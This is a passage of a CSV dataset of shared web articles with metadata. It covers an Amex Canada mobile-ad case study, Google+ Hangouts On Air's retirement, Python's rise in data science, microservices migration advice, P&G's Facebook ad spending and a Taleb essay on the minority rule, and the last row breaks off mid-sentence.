1471292229,CONTENT SHARED,6650072898902843826,3609194402293569455,-5783341880416637871,,,,HTML,https://www.thinkwithgoogle.com/case-studies/amex-canada-discovers-more-mobile-driven-conversions-cross-device-measurement.html,Amex Canada Discovers 68% More Mobile-Driven Conversions With Cross-Device Measurement,"What if you discovered one of your media channels was 68% more productive than you thought? American Express Canada realized just how important mobile was after working with its agenda, Mindshare Canada, and DoubleClick to accurately measure cross-device conversions. Goals Find new card members Accurately measure cross-device conversions Approach Ran a mobile programmatic campaign Redesigned its mobile landing pages Leveraged cross-device measurement tools Results Mobile-driven conversions 68% higher than estimated 119% conversion uplift for mobile 37% decrease in cost per acquisition Amex Canada's acquisition team has one goal: find new card members. They've had good success with desktop search and display ads, so the team wasn't particularly compelled to try mobile advertising. ""Using last-click measurement, it was difficult to see evidence that exposing prospects to mobile ads had a significant impact on application conversions,"" said Roberto Passarelli, senior manager in digital marketing at American Express Canada. [[callout-headline-2]] But with evidence that more and more Canadians are relying on their smartphones , Mindshare Canada and Amex decided to dive deeper into consumer mobile activity using DoubleClick's cross-device measurement features . ""We knew that consumers switch between screens to complete tasks. And many of the conversions driven by mobile actually occur on desktop,"" said Eleni Pappas, digital trading director of Mindshare . So they put mobile ads to the test. Amex measures conversions from programmatic mobile campaign Amex and Mindshare Canada's programmatic mobile banner ad campaign drove prospects to Amex's newly redesigned mobile landing pages. This allowed people the opportunity to learn more and start a card application. [[inline-image-2]] Mindshare tracked people's activities with cross-device measurement from DoubleClick. Before, one cookie was counted as one user; now, Mindshare and Amex could actually follow along as users moved between mobile and tablet devices to desktops. ""Our key measurement KPI is simple: Did the prospect apply for a card in the end?"" Passarelli said. Mobile ads contribute to 31% of total conversions Amex and Mindshare Canada found that mobile was a critical touchpoint in many prospects' application journeys. In fact, the number of mobile-driven conversions was 68% higher than they had originally thought. [[inline-image-1]] While the most common path to conversion occurred within the same desktop environment, mobile ads often led to desktop conversions. Mobile was the last touch in users' paths for 24% of all cross-device conversions, even though only about 10% of marketing spend went to mobile. And of all the application submissions that came from mobile advertising, 30% were completed on a desktop. By optimizing its campaigns based on this accurate view of cross-device activity, Amex and Mindshare Canada were able to drive a 119% conversion uplift for mobile, a 40% rise in attributable conversions overall, and a 37% drop in CPAs. The future looks mobile [[callout-headline-1]] The striking results from this early testing phase have changed how the team at Amex manages its digital mix. Mobile now plays a greater role in their marketing plan and an increased focus has been put on a mobile-first strategy with an increased mobile budget. ""Mobile plays a pivotal role in cross-platform conversions, whether they take place in mobile or other digital platforms."" Mobile ads are designed to not only support and promote desktop conversions, but also to promote direct mobile conversions. In Q2 of 2016, 28% of all post-view, post-click conversions came directly from mobile. ""We have been convinced for a while that mobile is a critical element of the media mix,"" said Pappas. ""However, it wasn't until now that such credible findings confirmed how important mobile actually is as a touch point of convenience among consumers. Indeed, mobile plays a pivotal role in cross-platform conversions, whether they take place in mobile or other digital platforms. This in turn creates the opportunity to tailor creative messages so that their content matches different digital environments."" Passarelli concluded, ""In the end, we have to find solutions that allow us to advertise where our prospects are. Thanks to DoubleClick's cross-device measurement features, it's clear that our mobile ads are driving efficient conversions.""",en
1471309031,CONTENT SHARED,8482750322470893687,4142810830429822977,-1828811998399175640,,,,HTML,http://venturebeat.com/2016/08/15/google-is-discontinuing-google-hangouts-on-air-on-september-12-pushes-users-to-youtube-live/,"Google is discontinuing Google+ Hangouts On Air on September 12, pushes users to YouTube Live","Google today quietly announced that Google+ Hangouts On Air will no longer be available on September 12. Four weeks from now, Google users will be asked to use YouTube Live instead. Google first debuted the livestreaming feature for its Hangouts group video-chat on Google+ back in September 2011 , though it was only available to select performers and celebrities. Google started making Hangouts On Air available to all its users in May 2012 , and completed the rollout a month later. But then in May 2013 , Google debuted YouTube Live, which also gradually became available to more and more users. Now Google has finally decided to consolidate the two. After September 12, you won't be able to schedule a new Hangouts On Air via Google+. Existing events scheduled to happen after September 12 will also have to be moved to YouTube Live. To be clear, Hangouts On Air will still exist in some form, it just won't be tied to Google+. Hangouts On Air users are being forced to use YouTube Live's built-in events scheduling feature instead. To use Hangouts On Air with YouTube Live, follow these steps: Go to Live Streaming Events in Creator Studio. Click New live event. Select Quick (using Google Hangouts On Air). Give your live stream a title. Click Go live now or enter in details to schedule your event for later. Use Hangouts to broadcast live. Recorded events will continue to be available on YouTube. The only remaining Google+ link will be the option to see your event content (read-only format) in the Activity Log. Google began dropping its Google+ requirement across all its products in July 2015. That process is still ongoing. Last week, the Google Play store started dropping the Google+ account requirement when leaving a review. Next month, Hangouts On Air users will no longer be able to schedule livestreams using Google+. Get more stories like this on Twitter & Facebook",en
1471316974,CONTENT SHARED,6638782839540370044,-1032019229384696495,880025729283447629,,,,HTML,https://www.datanami.com/2016/08/15/python-eats-r-sas-dominance-fades/,Python Eats Into R as SAS Dominance Fades,"A new survey of data science tools shows that Python usage is quickly gaining steam among advance analytic professionals, at the expense of both R and SAS. Last month the executive recruiting firm Burtch Works published the latest results of an ongoing ""flash survey"" of tooling preferences of its network of analytics professionals. It was the third straight year that the company has conducted the study, and the results show a definite trend towards open source alternatives and away from the longstanding suite of analytic tools from SAS , which are proprietary. According to the results of the 2016 survey, R is the preferred tool for 42% of analytics professionals, followed by SAS at 39% and Python at 20%. While Python's placing may at first appear to relegate the language to Bronze Medal status, it's the delta here that really matters. Here's the interesting bit: While the first two years of Burtch Works' survey was focused on the SAS vs. R war, so many analytics professionals chose to write in Python that the company was forced to include the language as a third choice. ""Last year, we received enough write-in requests to include Python in our survey that we decided to evolve with the times!"" the company writes in its blog announcing the results. (Bernie supporters, take note). There were a few other interesting tidbits from the survey. For instance, among those professionals who identify as a ""data scientists,"" Python is the tool of choice for 53% of survey respondents, while SAS garnered a tiny 3% share. Among those who identify themselves as ""predictive analytics"" professionals, SAS and R were in a virtual tie (43% vs. 41%, respectively), while only 16% prefer Python. There's a correlation between the education level of the survey respondents and their tool preference, with R usage increasing with the amount of postgraduate education. Interestingly, SAS usage increases with the number of years in the analytics saddle. This makes sense when you consider that analysts who forwent a more advanced degree were more heavily exposed to SAS, which been so dominant in the private sector for so long, while those who stayed in school were more heavily exposed to open source alternatives, like R. SAS is used more heavily in industries like financial services, healthcare, and retail, while R is favored in the high tech, telecom, and consulting sectors. There's also an open source (read: R and Python) bias on the tech-heavy West Coast and intermountain West regions, while SAS dominates with the more entrenched industries of the Midwest, the Southeast, and the Northeast. While all open source tools continues to gain steam against proprietary setups among data science pros, the big story here is the emergence of Python as a major force on the analytics stage. Python was first developed in the early 1990s, with roots in C. It's widely considered to be easier to learn than R, and its status as a general purpose language makes it a relatively simple matter to implement statistical functions into existing applications. Python isn't new, but it's just now appearing to gain steam in the analytics community, at the expense of R and proprietary packages like SAS, IBM 's SPSS, and Mathworks ' Matlab. The gradual learning curve and availability of analytic application development environments like Jupyter and the iPython Notebook are helping to spur adoption. On the other hand, R also is widely used in the data science community. It's widely considered to be superior for pure statistical analysis, partially with the availability of packages such as the Comprehensive R Archive Network (CRAN), as well as notebooks like R Markdown and R tools that Microsoft acquired from Revolution Analytics. However, the steep learning curve and lack of applicability outside the statistical community are seen as limiting factors for R. One of the biggest supporters of Python is Travis Oliphant, the CEO and co-founder of Continuum Analytics , which develops the Anaconda suite of Python-based tools for data science and advanced analytics. Oliphant was the primary developer of NumPy, a package of statistical tools that expands Python, and contributed to the open source Anaconda tools that Continuum develops. ""The nice thing about Python is it's very flexible and you can create interfaces that are closer to what you're used to,"" Oliphant told Datanami in a recent interview. ""SAS does a lot of good things. The challenge is that it's expensive and proprietary."" Another advantage of Python is its ease of deployment on the Web. Oliphant cites Python's integration with Web application frameworks like Django and cloud platforms like Heroku as a major advantage over ""legacy"" systems such as SAS. Python's surge is also visible in the various rankings of programming languages. In the last two-and-a-half years, Python's popularity has just about doubled according to the TIOBE Index , which shows Python as currently the fifth most popular language (R is 17th). Redmonk' s bi-annual report on programming languages shows Python among the top tier of languages too. There are a lot of variables that impact what languages and tool an application developer chooses to use. In the world of data science, it's apparent that many of these factors are increasingly driving developers to Python. Related Items: What's Hot This Summer: Data Science Bootcamps The Rise of Data Science Notebooks",en
1471347618,CONTENT SHARED,374674704202038318,7645894863578715801,6107910099552275355,,,,HTML,https://www.nginx.com/blog/taking-microservices-home/,Taking Microservices Home - NGINX,"This post is adapted from a keynote presentation by Zhamak Dehghani at nginx.conf in September 2015. Table of Contents  0:00 Introduction  0:30 Collaborate via Choreography  2:30 Battling the Monoliths  6:09 Building a Model for Migration  8:20 Find the Seams  8:51 Measure Toxicity 11:24 Deconstructing the Monolith 12:13 Service Modeling is Difficult 17:24 Constructing Microservices 21:06 Find your Granularity 22:07 Leap in our Empathetic Evolution 0:00 Introduction So it's been four years since microservices architecture first captured our attention. It was promised as an architectural style that lets us compose small, unique services around business domain problems to build complex and wonderful solutions. A network of interconnected services choreographed beautifully to give our users an uninterrupted experience. 0:30 Collaborate via Choreography This was a grassroots movement, and our developer community felt quite passionate about it. Obviously, we embraced its complexity and built a healthy ecosystem of tools and techniques to let us automate delivery pipelines in a federated manner and allow us to release code from commit to production for the first time in a truly independent way. So, for the last few years, my coworkers and myself at ThoughtWorks have been building microservices architecture. Today I'm going to share some of those real world challenges that you will face, especially in large organizations. Hopefully for those, I will give you a few tactics to maneuver around these obstacles. 2:30 Battling the Monoliths The first one is an organizational problem; it's how the teams are formed, how the budgeting is allocated, and how the money flows in large corporations. The second one is the battle of monoliths - battling legacy systems and migrating into an architecture oriented to small services. Once you've gone through these two obstacles, now you have to curb the enthusiasm of your new starters getting excited about modeling services; modeling services is hard, especially moving too fast towards too fine‑grained services without the operational readiness. If you think that the main challenge you have for building microservices architecture is a technical problem - coding, design, and DevOps practices - think again. It's an organizational problem. This is a recurring theme for many of our clients; different parts of the organization get together to fight for a budget for a list of projects they have for the year. It's called annual portfolio planning. Once they get budget for their projects, they start forming ephemeral teams so each can go off and implement this single project. When the project's delivered, the team dissipates and they move onto the next project, and the cycle continues. So what's wrong with this picture? Well, if you want to rearchitect your system towards microservices and you have to go through an annual budgeting, it's very difficult to build a business case to let you migrate architecture. It's almost impossible without showing that you can deliver business value with that rearchitecture to your consumers. Once you got that business case in place, your management convinced, and got money for rearchitecture, the problem is that you don't have long‑standing teams to own the services in an autonomous way. So how are we going to go around this? We first start with creating a business incentive. In many organizations, it's the scale of operation; it's like Netflix going from renting videos to streaming movies online to millions of people. In some organizations, it's the speed of delivery. You want twice the speed of delivery that you have today. Maybe you want to expand your business into new domains and be able to compose solutions to pivot your business. So whatever it is, be very clear about it, and bring your product and business people along on this journey. Articulate and align your business initiatives with your architectural style. You need to start planting the seeds of platform thinking. 6:09 Building a Model for Migration Start with a small hypothesis as to how this architecture is gonna get you going faster, and start building a proof of concept for that. From there you go through expansion. You expand that model to other projects and other teams and start continuously evolving from a project‑based mindset to a product‑ and service‑based mindset &ndash from short‑term ephemeral teams to long‑standing teams. And the cycle continues. It's an evolutionary, iterative way to wear out the grooves that old organizational thinking and old structures have put in place. Once you go through your organizational problem, the next one up, one of the hardest, is how to deconstruct the old legacy systems. It's a question of: how am I gonna decompose a system that is continuously under change, and how am I gonna do this in a financially viable way? To give you an example, my current client tried to pull a very simple crowd‑based service out of a legacy system with 2.5 million LOC that was built over the last ten years, and it cost the same amount of dollars as the lines of code in that legacy system; that's not financially viable. The migration becomes a continuous trade‑off between: shall I extract code and reuse, or shall I retire code and rewrite new code? You have to do this continuous cost‑benefit analysis as you go through experimentation with either model. 8:20 Find the Seams So I'll give you a few heuristics to go about this deconstruction. The first one is: find the seams that might exist around the business capabilities in your existing system. The picture you see above is an analysis I did on a .NET code‑based package dependency to see whether I can find these seams and boundaries of business capabilities to pull out. Unfortunately, in this one, I really couldn't see any clear boundaries. Use a structural analysis tool or runtime analysis tool to find the seams. 8:51 Measure Toxicity Don't forget the toxicity and liveliness of your code. What this diagram shows, what we were trying to find out, is what the toxic parts of the code are, or healthy parts of the code that are alive and being used. The black circles are toxic code underuse. 11:24 Deconstructing the Monolith So, we talked about finding seams around bounded context, using the theory of constraints. You want to go fast, you want to scale parallel development; what is it in your system that is the most limiting factor? Find those hot spots and remove them. To give you an example, I'm deconstructing a big monolith right now. It's a web‑based commerce system and one point of contention is session management: logging users, identifying users, and associating attributes with a user. That's coupling all the other user‑centric services to this monolith. So we tried to pull that out first. Apply the strangler pattern . There is a healthy dose of documentation around this, but the idea is that you start building new capabilities or replicating the capabilities by writing new code around your services. Put an NGINX server in front of it and reroute your direction to new capabilities vs the old one, until the old one can be retired. This is another technique that I've started experimenting with - I call it monolith in a box . The idea is that sometimes we don't need to change the monolith, but we need to run it and execute it, and test the systems we've built around it. With these kinds of old systems, testing, execution, and deployment is really difficult. You have configurations scattered all over your infrastructure, business logic in your five load balancers. So, what we're trying to do is really wrap the monolith and all the configuration and system dependencies into containers so the developers can just spawn a container, never worry about building and configuring it, and just talk to it. Lastly, refactor what matters; if you have gone through the experience of aligning your architectural needs with your business objectives, you should have a good idea where the need for invention, innovation, and experimentation is. So, start pulling out those parts of code or reimplementing those. 12:13 Service Modeling is Difficult We've gone through battling the organization's structure, getting money for our architecture, found ways of working around this monolith, and now we get to model our new service. But, a pattern that we see over and over again is getting too fine‑grained too early. The question that I often get asked is: So how big is this microservice? The idea of a microservice is that it's an independently releasable service around your business domain concept. Some people say, ""Oh, six people, six services."" That might be too small. The one I like is that you can kind of replace it in two weeks, depending I guess on your programming language and infrastructure. But, the point is, it has to be as small as you can handle. What I mean by that is if your organizational maturity in terms of automation and streamlining the development process is not just there yet to handle more than two services, then two services are probably too many. So, make sure that you encapsulate business logic in the service and you don't leak that to your consumers. Build the automation, and handle distributive systems in such a way that you can have a healthy size, and the size can change over time. No utility services please. I see these services that remind me of my messy kitchen drawer where things, concepts that [don't] quite fit in other domains, get pushed into it - a config service, utility service, reference data. If you find yourself building one of those, stop, think again, because it becomes one of those bottlenecks very soon as a shared service. I've seen people put country codes in a service as reference data. How often do we build or create new countries? Not that often. So maybe duplicating that information across services is perfectly fine. Or if you have any other capabilities that you want to put in that service, think about the domain contexts that it belongs to more closely. And with the best intentions, it might happen that we choose the wrong boundary for our services. Have you seen those stressed parents on a flight? Where for some reason the two toddlers are in the front of the plane and the parents are sitting in the back of the plane? It happens, right? So, how do we find these right boundaries? If we sit around the table, and think academically, ""What are these beautiful domain concepts?"", we probably won't end up with the right boundaries. My suggestion is: use your user experience and user journeys. What are the real use cases of your system? Walk through them and build domain services that support those. You can watch a replay of the presentation this post is based on here . Test the boundaries by saying, ""OK, if I'm building these kind of related features for my end user; how many services do I need to touch?"" For instance, if I'm a mobile provider and I want to support international roaming, there are a whole bunch of capabilities around that. How many services do I need to change? If you're changing more than three services, you probably got the boundaries wrong. You can't really realize the idea of independence. Even if you got the boundaries wrong, that's fine because the REST Level 3 maturity model will come to save you. If you use hyperlinks between the aggregate groups and their subnodes, we can move that around; we have more flexibility in decoupling the services or joining them and not impacting our consumers because our consumers are just following the hyperlinks. 17:24 Constructing Microservices And I can't emphasize this enough, to say that we should not build any services without having an automated path to release. We started building microservices for a pizza enterprise company in Australia a couple of years back and we were so excited, we went from no services to sixty services in three months. We had all these independent build pipelines, we had some principles locked down early on, which was really good. We said, ""No single line of code, service code, without a contract test."" So the first things that we built, if we thought of a new service, [the first thing we asked] was how the consumers were gonna use it, and write a contract test for it. Then we would write a mock‑up, or a prototype, to show how the request‑responses would flow through the service. Then we would write the service code, and as we do that, we'd build the delivery pipeline and automation for that. We made a few mistakes; If I could go back, one of them was: we compromised on a few things. We compromised on debuggability. You know, using correlation ideas so we can debug our service's life. I'd probably build that in early on. We did have good monitoring and health checks, but we didn't have good debugging built in place. We invested early on in scaffolding, some people call it chassis or service templates. Basically, all the boilerplate code that you need to build to put your service logic in the shell. So, monitoring, exposing health matrix, structured logging, authentication, and security. 21:06 Find your Granularity So, we talked about the different values of microservices, but we need to acknowledge the complexities that come with it. We love the idea of autonomous teams, but teams are made of people, people form groups, and silos happen. So communication overhead comes with that autonomy. We love microservices because it lets us go fast. We can build a single small service to production very quickly; but, to be able to do that, there is an execution overhead and complexity. All the automation that we have, we put in place to be able to deliver it seamlessly. We like microservices because it gives us scale; now you can break down the domain problem into small subdomains, allocate teams to each subdomain, and give them autonomy. Building distributed systems is hard. Building resilience, consistency, and all of those things bring some complexity to your infrastructure. We expose wonderful fine‑grained APIs that let our consumers compose different solutions. The composability gives us new ways of building systems, but now we have to maintain a range of APIs and backward compatibility, and that maintenance has its own overhead. We can use different technology stacks for every service as long as it talks and walks like a service from outside. I can use whatever tech stack I want for the service, but now our operation team, or more generally the organization, needs to deal with a proliferation of technology stacks. So, what I would suggest is get one of these giant granularity sliders and really find the spot where the number of services and granularity of the services for your organization yields a net positive value. So, if you're going too micro, you need to bring the automation and the infrastructure to support that. So find that right spot for where you are and where your organization is. 22:07 Leap in our Empathetic Evolution Lastly, I would leave you with this: we have talked about the softer side of architecture: the complexity of communication between people, people who build the services and people who consume the services. That communication overhead causes friction between the teams. So I argue that for us to be able to successfully deliver microservice architecture, we need to make a leap in our empathetic evolution. We need to adopt empathic development practices that really let us understand the needs of the consumer. So there are a whole bunch of techniques that are already out there. Build APIs that your consumers actually need, get the consumers to give you contract tests to validate your assumptions about how they are using your service. As service providers, provide mock‑ups to the consumers so that they can run their applications independent of integration test. For a comprehensive exploration of microservices, download our ebook, Microservices: From Design to Deployment . It brings together the seven articles in our blog series by microservices expert Chris Richardson.",en
1471350108,CONTENT SHARED,-5328971462978089293,-5639303336519418445,-1067585767182117848,,,,HTML,http://exame.abril.com.br/marketing/noticias/p-g-cancela-verba-para-anuncios-segmentados-no-facebook,P&G cancela verba para anúncios segmentados no Facebook | EXAME.com,"No mesmo dia em que o Facebook confirmou uma ação para tornar impossível o bloqueio de propagandas em sua plataforma, sua maior anunciante global, a P&G , anunciou que deixará de investir em um dos principais recursos de anúncios da rede social. A verba publicitária investida na ferramenta de segmentação de público será redirecionada para outras opções do Facebook. Segundo o diretor de marketing da P&G, Marc Pritchard, o investimento no recurso, um dos mais caros do Facebook, não estava garantindo resultados uma vez que acabava por deixar de mostrar resultados para outros públicos. O esquema de segmentação da audiência da rede social permite que o anunciante mire em consumidores específicos. No caso da Procter & Gamble, empesa dona de uma vasta gama e produtos domésticos, era possível anunciar fraldas para futuros pais ou purificador de ar para donos de animais, por exemplo. A marca usou a segmentação por dois anos, mas os resultados mostraram uma estagnação nas vendas, o que a levou a repensar a estratégia de anúncio digital. Para o Wall Street Journal, um porta-voz do Facebook afirmou que o movimento é natural. De acordo com ele, a relação entre as duas empresas sempre foi de aprendizado mútuo.",pt
1471352269,CONTENT SHARED,1349971382589894814,3829784524040647339,-6107808233631554003,,,,HTML,https://medium.com/@nntaled/the-most-intolerant-wins-the-dictatorship-of-the-small-minority-3f1f83ce4e15,The Most Intolerant Wins: The Dictatorship of the Small Minority,"The Most Intolerant Wins: The Dictatorship of the Small Minority How Europe will eat Halal - Why you don't have to smoke in the smoking section - Your food choices on the fall of the Saudi king -How to prevent a friend from working too hard -Omar Sharif 's conversion - How to make a market collapse T he best example I know that gives insights into the functioning of a complex system is with the following situation. It suffices for an intransigent minority -a certain type of intransigent minorities -to reach a minutely small level, say three or four percent of the total population, for the entire population to have to submit to their preferences. Further, an optical illusion comes with the dominance of the minority: a naive observer would be under the impression that the choices and preferences are those of the majority. If it seems absurd, it is because our scientific intuitions aren't calibrated for that (fughedabout scientific and academic intuitions and snap judgments; they don't work and your standard intellectualization fails with complex systems, though not your grandmothers' wisdom). The main idea behind complex systems is that the ensemble behaves in way not predicted by the components. The interactions matter more than the nature of the units. Studying individual ants will never (one can safely say never for most such situations), never give us an idea on how the ant colony operates. For that, one needs to understand an ant colony as an ant colony, no less, no more, not a collection of ants. This is called an ""emergent"" property of the whole, by which parts and whole differ because what matters is the interactions between such parts. And interactions can obey very simple rules. The rule we discuss in this chapter is the minority rule. The minority rule will show us how it all it takes is a small number of intolerant virtuous people with skin in the game, in the form of courage, for society to function properly. This example of complexity hit me, ironically, as I was attending the New England Complex Systems institute summer barbecue. As the hosts were setting up the table and unpacking the drinks, a friend who was observant and only ate Kosher dropped by to say hello. I offered him a glass of that type of yellow sugared water with citric acid people sometimes call lemonade, almost certain that he would reject it owing to his dietary laws. He didn't. He drank the liquid called lemonade, and another Kosher person commented: ""liquids around here are Kosher"". We looked at the carton container. There was a fine print: a tiny symbol, a U inside a circle, indicating that it was Kosher. The symbol will be detected by those who need to know and look for the minuscule print. As to others, like myself, I had been speaking prose all these years without knowing, drinking Kosher liquids without knowing they were Kosher liquids. Criminals With Peanut Allergies A strange idea hit me. The Kosher population represents less than three tenth of a percent of the residents of the United States. Yet, it appears that almost all drinks are Kosher. Why? Simply because going full Kosher allows the producer, grocer, restaurant, to not have to distinguish between Kosher and nonkosher for liquids, with special markers, separate aisles, separate inventories, different stocking sub-facilities. And the simple rule that changes the total is as follows: A Kosher (or halal) eater will never eat nonkosher (or nonhalal) food , but a nonkosher eater isn't banned from eating kosher. Or, rephrased in another domain: A disabled person will not use the regular bathroom but a nondisabled person will use the bathroom for disabled people. Granted, sometimes, in practice, we hesitate to use the bathroom with the disabled sign on it owing to some confusion -mistaking the rule for the one for parking cars, under the belief that the bathroom is reserved for exclusive use by the handicapped. Someone with a peanut allergy will not eat products that touch peanuts but a person without such allergy can eat items without peanut traces in them. Which explains why it is so hard to find peanuts on airplanes and why schools are peanut-free (which, in a way, increases the number of persons with peanut allergies as reduced exposure is one of the causes behind such allergies). Let us apply the rule to domains where it can get entertaining: An honest person will never commit criminal acts but a criminal will readily engage in legal acts. Let us call such minority an intransigent group, and the majority a flexible one. And the rule is an asymmetry in choices. I once pulled a prank on a friend. Years ago when Big Tobacco were hiding and repressing the evidence of harm from secondary smoking, New York had smoking and nonsmoking sections in restaurants (even airplanes had, absurdly, a smoking section). I once went to lunch with a friend visiting from Europe: the restaurant only had availability in the smoking sections. I convinced the friend that we needed to buy cigarettes as we had to smoke in the smoking section. He complied. Two more things. First, the geography of the terrain, that is, the spatial structure, matters a bit; it makes a big difference whether the intransigents are in their own district or are mixed with the rest of the population. If the people following the minority rule lived in Ghettos, with their separate small economy, then the minority rule would not apply. But, when a population has an even spatial distribution, say the ratio of such a minority in a neighborhood is the same as that in the village, that in the village is the same as in the county, that in the county is the same as that in state, and that in the sate is the same as nationwide, then the (flexible) majority will have to submit to the minority rule. Second, the cost structure matters quite a bit. It happens in our first example that making lemonade compliant with Kosher laws doesn't change the price by much, not enough to justify inventories. But if the manufacturing of Kosher lemonade cost substantially more, then the rule will be weakened in some nonlinear proportion to the difference in costs. If it cost ten times as much to make Kosher food, then the minority rule will not apply, except perhaps in some very rich neighborhoods. Muslims have Kosher laws so to speak, but these are much narrower and apply only to meat. For Muslim and Jews have near-identical slaughter rules (all Kosher is halal for most Sunni Muslims, or was so in past centuries, but the reverse is not true). Note that these slaughter rules are skin-in-the-game driven, inherited from the ancient Eastern Mediterranean [discussed in Chapter] Greek and Semitic practice to only worship the gods if one has skin in the game, sacrifice meat to the divinity, and eat what's left. The Gods do not like cheap signaling. Now consider this manifestation of the dictatorship of the minority. In the United Kingdom, where the (practicing) Muslim population is only three to four percent, a very high number of the meat we find is halal. Close to seventy percent of lamb imports from New Zealand are halal. Close to ten percent of the chain Subway carry halal-only stores (meaning no pork), in spite of the high costs from the loss of business of nonpork stores. The same holds in South Africa where, with the same proportion of Muslims, a disproportionately higher number of chicken is Halal certified. But in the U.K. and other Christian countries, halal is not neutral enough to reach a high level, as people may use other people's religious norms. For instance, the 7th Century Christian Arab poet Al-Akhtal made a point to never eat halal meat, in his famous defiant poem boasting his Christianity: ""I do not eat sacrificial flesh"" One can expect the same rejection of religious norms to take place in the West as the Muslim populations in Europe grows. So the minority rule may produce a larger share of halal food in the stores than warranted by the proportion of halal eaters in the population, but with a headwind somewhere because some people may have a taboo against Moslem food. But with some non-religious Kashrut rules, so to speak, the share can be expected converge to closer to a hundred percent (or some high number). In the U.S. and Europe, ""organic"" food companies are selling more and more products precisely because of the minority rule and because ordinary and unlabeled food may be seen by some to contain pesticides, herbicides, and transgenic genetically modified organisms, ""GMOs"" with, according to them, unknown risks. (What we call GMOs in this context means transgenic food, entailing the transfer of genes from a foreign organism or species). Or it could be for some existential reasons, cautious behavior, or Burkean conservatism -some may not want to venture too far too fast from what their grandparents ate. Labeling something ""organic"" is a way to say that it contains no transgenic GMOs. In promoting genetically modified food via all manner of lobbying, purchasing of congressmen, and overt scientific propaganda (with smear campaigns against such persons as yours truly), the big agricultural companies foolishly believed that all they needed was to win the majority. No, you idiots. As I said, your snap ""scientific"" judgment is too naive in these type of decisions. Consider that transgenic-GMO eaters will eat nonGMOs, but not the reverse. So it may suffice to have a tiny, say no more than five percent of evenly spatially distributed population of non-genetically modified eaters for the entire population to have to eat non-GMO food. How? Say you have a corporate event, a wedding, or a lavish party to celebrate the fall of the Saudi Arabian regime, the bankruptcy of the rent-seeking investment bank Goldman Sachs, or the public reviling of Ray Kotcher, chairman of Ketchum the public relation firm that smears scientists and scientific whistleblowers on behalf of big corporations. Do you need to send a questionnaire asking people if they eat or don't eat transgenic GMOs and reserve special meals accordingly? No. You just select everything non-GMO, provided the price difference is not consequential. And the price difference appears to be small enough to be negligible as (perishable) food costs in America are largely, about up to eighty or ninety percent, determined by distribution and storage, not the cost at the agricultural level. And as organic food (and designations such as ""natural"") is in higher demand, from the minority rule, distribution costs decrease and the minority rule ends up accelerating in its effect. Big Ag (the large agricultural firms) did not realize that this is the equivalent of entering a game in which one needed to not just win more points than the adversary, but win ninety-seven percent of the total points just to be safe. It is strange, once again, to see Big Ag who spent hundreds of millions of dollars on research cum smear campaigns, with hundreds of these scientists who think of themselves as more intelligent than the rest of the population, miss such an elementary point about asymmetric choices. Another example: do not think that the spread of automatic shifting cars is necessarily due to the majority of drivers initially preferring automatic; it can just be because those who can drive manual shifts can always drive automatic, but the reciprocal is not true [1] . The method of analysis employed here is called renormalization group, a powerful apparatus in mathematical physics that allows us to see how things scale up (or down). Let us examine it next -without mathematics. Renormalization Group Figure 2 shows four boxes exhibiting what is called fractal self-similarity. Each box contains four smaller boxes. Each one of the four boxes will contain four boxes, and so all the way down, and all the way up until we reach a certain level. There are two colors: yellow for the majority choice, and pink for the minority one. Assume the smaller unit contains four people, a family of four. One of them is in the intransigent minority and eats only nonGMO food (which includes organic). The color of the box is pink and the others yellow . We ""renormalize once"" as we move up: the stubborn daughter manages to impose her rule on the four and the unit is now all pink, i.e. will opt for nonGMO. Now, step three, you have the family going to a barbecue party attended by three other families. As they are known to only eat nonGMO, the guests will cook only organic. The local grocery store realizing the neighborhood is only nonGMO switches to nonGMO to simplify life, which impacts the local wholesaler, and the stories continues and ""renormalizes"". By some coincidence, the day before the Boston barbecue, I was flaneuring in New York, and I dropped by the office of a friend I wanted to prevent from working, that is, engage in an activity that when abused, causes the loss of mental clarity, in addition to bad posture and loss of definition in the facial features. The French physicist Serge Galam happened to be visiting and chose the friend's office to kill time. Galam was first to apply these renormalization techniques to social matters and political science; his name was familiar as he is the author of the main book on the subject, which had then been sitting for months in an unopened Amazon box in my basement. He introduced me to his research and showed me a computer model of elections by which it suffices that some minority exceeds a certain level for its choices to prevail. So the same illusion exists in political discussions, spread by the political ""scientists"": you think that because some extreme right or left wing party has, say, the support of ten percent of the population that their candidate would get ten percent of the votes. No: these baseline voters should be classified as ""inflexible"" and will always vote for their faction. But some of the flexible voters can also vote for that extreme faction, just as nonKosher people can eat Kosher, and these people are the ones to watch out for as they may swell the numbers of votes for the extreme party. Galam's models produced a bevy of counterintuitive effects in political science -and his predictions turned out to be way closer to real outcomes than the naive consensus. The Veto The fact we saw from the renormalization group the ""veto"" effect as a person in a group can steer choices. Rory Sutherland suggested that this explains why some fast-food chains, such as McDonald thrive, not because they offer a great product, but because they are not vetoed in a certain socio-economic group -and by a small proportions of people in that group at that. To put it in technical terms, it was a best worse-case divergence from expectations: a lower variance and lower mean. When there are few choices, McDonald's appears to be a safe bet. It is also a safe bet in shady places with few regulars where the food variance from expectation can be consequential -I am writing these lines in Milan train station and it as offensive as it can be to a visitor from far away, McDonald's is one of the few restaurants there. Shockingly, one sees Italians there seeking refuge from a risky meal. Pizza is the same story: it is commonly accepted food and outside a fancy party nobody will be blamed for ordering it. Rory wrote to me about the asymmetry beer-wine and the choices made for parties: ""Once you have ten percent or more women at a party, you cannot serve only beer. But most men will drink wine. So you only need one set of glasses if you serve only wine - the universal donor, to use the language of blood groups."" Lingua Franca If a meeting is taking place in Germany in the Teutonic-looking conference room of a corporation that is sufficiently international or European, and one of the persons in the room doesn't speak German, the entire meeting will be run in... English, the brand of inelegant English used in corporations across the world. That way they can equally offend their Teuronic ancestors and the English language [2] . It all started with the asymmetric rule that those who are nonnative in English know (bad) English, but the reverse (English speakers knowing other languages) is less likely. French was supposed to be the language of diplomacy as civil servants coming from aristocratic background used it -while their more vulgar compatriots involved in commerce relied on English. In the rivalry between the two languages, English won as commerce grew to dominate modern life; the victory it has nothing to do with the prestige of France or the efforts of their civil servants in promoting their more or less beautiful Latinized and logically spelled language over the orthographically confusing one of trans-Channel meat-pie eaters. We can thus get some intuition on how the emergence of lingua franca languages can come from minority rules-and that is a point that is not visible to linguists. Aramaic is a Semitic language which succeeded Canaanite (that is, Phoenician-Hebrew) in the Levant and resembles Arabic; it was the language Jesus Christ spoke. The reason it came to dominate the Levant and Egypt isn't because of any particular imperial Semitic power or the fact that they have interesting noses. It was the Persians -who speak an Indo-European language -who spread Aramaic, the language of Assyria, Syria, and Babylon. Persians taught Egyptians a language that was not their own. Simply, when the Persians invaded Babylon they found an administration with scribes who could only use Aramaic and didn't know Persian, so Aramaic became the state language. If your secretary can only take dictation in Aramaic, 